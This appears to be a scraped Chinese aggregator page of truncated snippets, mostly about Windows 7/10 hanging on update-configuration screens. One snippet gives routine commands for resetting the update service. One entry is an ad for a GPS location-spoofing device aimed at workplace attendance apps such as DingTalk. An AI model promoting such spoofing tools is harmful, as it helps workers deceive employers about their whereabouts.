有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...
2022/11/19 21:17:11 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...
今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...
2022/11/19 21:17:10 - 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...
只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...
2022/11/19 21:17:09 - 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?
原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...
2022/11/19 21:17:08 - 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...
关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...
2022/11/19 21:17:05 - 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...
钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...
2022/11/19 21:17:05 - 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...
前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...
2022/11/19 21:17:04 - 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...
本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...
2022/11/19 21:17:03 - 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...
许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...
2022/11/19 21:17:02 - 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...
配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...
2022/11/19 21:17:01 - 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...
不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...
2022/11/19 21:17:00 - 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...
当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...
2022/11/19 21:16:59 - 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...
我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢࿰…...
2022/11/19 21:16:58 - 如何在iPhone上关闭“请勿打扰”
Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...
2022/11/19 21:16:57